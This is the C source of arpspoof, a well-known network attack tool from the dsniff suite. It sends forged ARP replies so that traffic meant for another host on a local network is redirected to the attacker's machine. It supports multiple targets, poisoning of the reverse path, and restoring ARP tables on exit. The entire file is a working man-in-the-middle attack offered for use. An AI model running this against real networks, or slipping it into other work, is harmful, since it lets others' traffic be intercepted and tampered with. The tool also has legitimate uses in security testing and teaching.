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/*
* arpspoof.c
*
* Redirect packets from a target host (or from all hosts) intended for
* another host on the LAN to ourselves.
*
* Copyright (c) 1999 Dug Song <dugsong@monkey.org>
*
* $Id: arpspoof.c,v 1.5 2001/03/15 08:32:58 dugsong Exp $
*
* Improved 2011 by Stefan Tomanek <stefa@pico.ruhr.de>
*/
#include "config.h"
#include <sys/types.h>
#include <sys/param.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <err.h>
#include <libnet.h>
#include <pcap.h>
#include "arp.h"
#include "version.h"
extern char *ether_ntoa(struct ether_addr *);
struct host {
in_addr_t ip;
struct ether_addr mac;
};
static libnet_t *l;
static struct host spoof = {0};
static struct host *targets;
static char *intf;
static int poison_reverse;
static uint8_t *my_ha = NULL;
static uint8_t *brd_ha = "\xff\xff\xff\xff\xff\xff";
static int cleanup_src_own = 1;
static int cleanup_src_host = 0;
static void
usage(void)
{
fprintf(stderr, "Version: " VERSION "\n"
"Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host\n");
exit(1);
}
static int
arp_send(libnet_t *l, int op,
u_int8_t *sha, in_addr_t spa,
u_int8_t *tha, in_addr_t tpa,
u_int8_t *me)
{
int retval;
if (!me) me = sha;
libnet_autobuild_arp(op, sha, (u_int8_t *)&spa,
tha, (u_int8_t *)&tpa, l);
libnet_build_ethernet(tha, me, ETHERTYPE_ARP, NULL, 0, l, 0);
fprintf(stderr, "%s ",
ether_ntoa((struct ether_addr *)me));
if (op == ARPOP_REQUEST) {
fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
ether_ntoa((struct ether_addr *)tha),
libnet_addr2name4(tpa, LIBNET_DONT_RESOLVE),
libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
}
else {
fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
ether_ntoa((struct ether_addr *)tha),
libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)sha));
}
retval = libnet_write(l);
if (retval)
fprintf(stderr, "%s", libnet_geterror(l));
libnet_clear_packet(l);
return retval;
}
#ifdef __linux__
static int
arp_force(in_addr_t dst)
{
struct sockaddr_in sin;
int i, fd;
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
return (0);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);
i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));
close(fd);
return (i == 0);
}
#endif
static int
arp_find(in_addr_t ip, struct ether_addr *mac)
{
int i = 0;
do {
if (arp_cache_lookup(ip, mac, intf) == 0)
return (1);
#ifdef __linux__
/* XXX - force the kernel to arp. feh. */
arp_force(ip);
#else
arp_send(l, ARPOP_REQUEST, NULL, 0, NULL, ip, NULL);
#endif
sleep(1);
}
while (i++ < 3);
return (0);
}
static int arp_find_all() {
struct host *target = targets;
while(target->ip) {
if (arp_find(target->ip, &target->mac)) {
return 1;
}
target++;
}
return 0;
}
static void
cleanup(int sig)
{
int fw = arp_find(spoof.ip, &spoof.mac);
int bw = poison_reverse && targets[0].ip && arp_find_all();
int i;
int rounds = (cleanup_src_own*5 + cleanup_src_host*5);
fprintf(stderr, "Cleaning up and re-arping targets...\n");
for (i = 0; i < rounds; i++) {
struct host *target = targets;
while(target->ip) {
uint8_t *src_ha = NULL;
if (cleanup_src_own && (i%2 || !cleanup_src_host)) {
src_ha = my_ha;
}
/* XXX - on BSD, requires ETHERSPOOF kernel. */
if (fw) {
arp_send(l, ARPOP_REPLY,
(u_int8_t *)&spoof.mac, spoof.ip,
(target->ip ? (u_int8_t *)&target->mac : brd_ha),
target->ip,
src_ha);
/* we have to wait a moment before sending the next packet */
sleep(1);
}
if (bw) {
arp_send(l, ARPOP_REPLY,
(u_int8_t *)&target->mac, target->ip,
(u_int8_t *)&spoof.mac,
spoof.ip,
src_ha);
sleep(1);
}
target++;
}
}
exit(0);
}
int
main(int argc, char *argv[])
{
extern char *optarg;
extern int optind;
char pcap_ebuf[PCAP_ERRBUF_SIZE];
char libnet_ebuf[LIBNET_ERRBUF_SIZE];
int c;
int n_targets;
char *cleanup_src = NULL;
spoof.ip = 0;
intf = NULL;
poison_reverse = 0;
n_targets = 0;
/* allocate enough memory for target list */
targets = calloc( argc+1, sizeof(struct host) );
if ((l = libnet_init(LIBNET_LINK, NULL, libnet_ebuf)) == NULL)
errx(1, "%s", libnet_ebuf);
while ((c = getopt(argc, argv, "ri:t:c:h?V")) != -1) {
switch (c) {
case 'i':
intf = optarg;
break;
case 't':
if ((targets[n_targets++].ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
usage();
break;
case 'r':
poison_reverse = 1;
break;
case 'c':
cleanup_src = optarg;
break;
default:
usage();
}
}
argc -= optind;
argv += optind;
if (argc != 1)
usage();
if (poison_reverse && !n_targets) {
errx(1, "Spoofing the reverse path (-r) is only available when specifying a target (-t).");
usage();
}
if (!cleanup_src || strcmp(cleanup_src, "own")==0) { /* default! */
/* only use our own hw address when cleaning up,
* not jeopardizing any bridges on the way to our
* target
*/
cleanup_src_own = 1;
cleanup_src_host = 0;
} else if (strcmp(cleanup_src, "host")==0) {
/* only use the target hw address when cleaning up;
* this can screw up some bridges and scramble access
* for our own host, however it resets the arp table
* more reliably
*/
cleanup_src_own = 0;
cleanup_src_host = 1;
} else if (strcmp(cleanup_src, "both")==0) {
cleanup_src_own = 1;
cleanup_src_host = 1;
} else {
errx(1, "Invalid parameter to -c: use 'own' (default), 'host' or 'both'.");
usage();
}
if ((spoof.ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1)
usage();
libnet_destroy(l);
if (intf == NULL && (intf = pcap_lookupdev(pcap_ebuf)) == NULL)
errx(1, "%s", pcap_ebuf);
if ((l = libnet_init(LIBNET_LINK, intf, libnet_ebuf)) == NULL)
errx(1, "%s", libnet_ebuf);
struct host *target = targets;
while(target->ip) {
if (target->ip != 0 && !arp_find(target->ip, &target->mac))
errx(1, "couldn't arp for host %s",
libnet_addr2name4(target->ip, LIBNET_DONT_RESOLVE));
target++;
}
if (poison_reverse) {
if (!arp_find(spoof.ip, &spoof.mac)) {
errx(1, "couldn't arp for spoof host %s",
libnet_addr2name4(spoof.ip, LIBNET_DONT_RESOLVE));
}
}
if ((my_ha = (u_int8_t *)libnet_get_hwaddr(l)) == NULL) {
errx(1, "Unable to determine own mac address");
}
signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
for (;;) {
if (!n_targets) {
arp_send(l, ARPOP_REPLY, my_ha, spoof.ip, brd_ha, 0, my_ha);
} else {
struct host *target = targets;
while(target->ip) {
arp_send(l, ARPOP_REPLY, my_ha, spoof.ip,
(target->ip ? (u_int8_t *)&target->mac : brd_ha),
target->ip,
my_ha);
if (poison_reverse) {
arp_send(l, ARPOP_REPLY, my_ha, target->ip, (uint8_t *)&spoof.mac, spoof.ip, my_ha);
}
target++;
}
}
sleep(2);
}
/* NOTREACHED */
exit(0);
}
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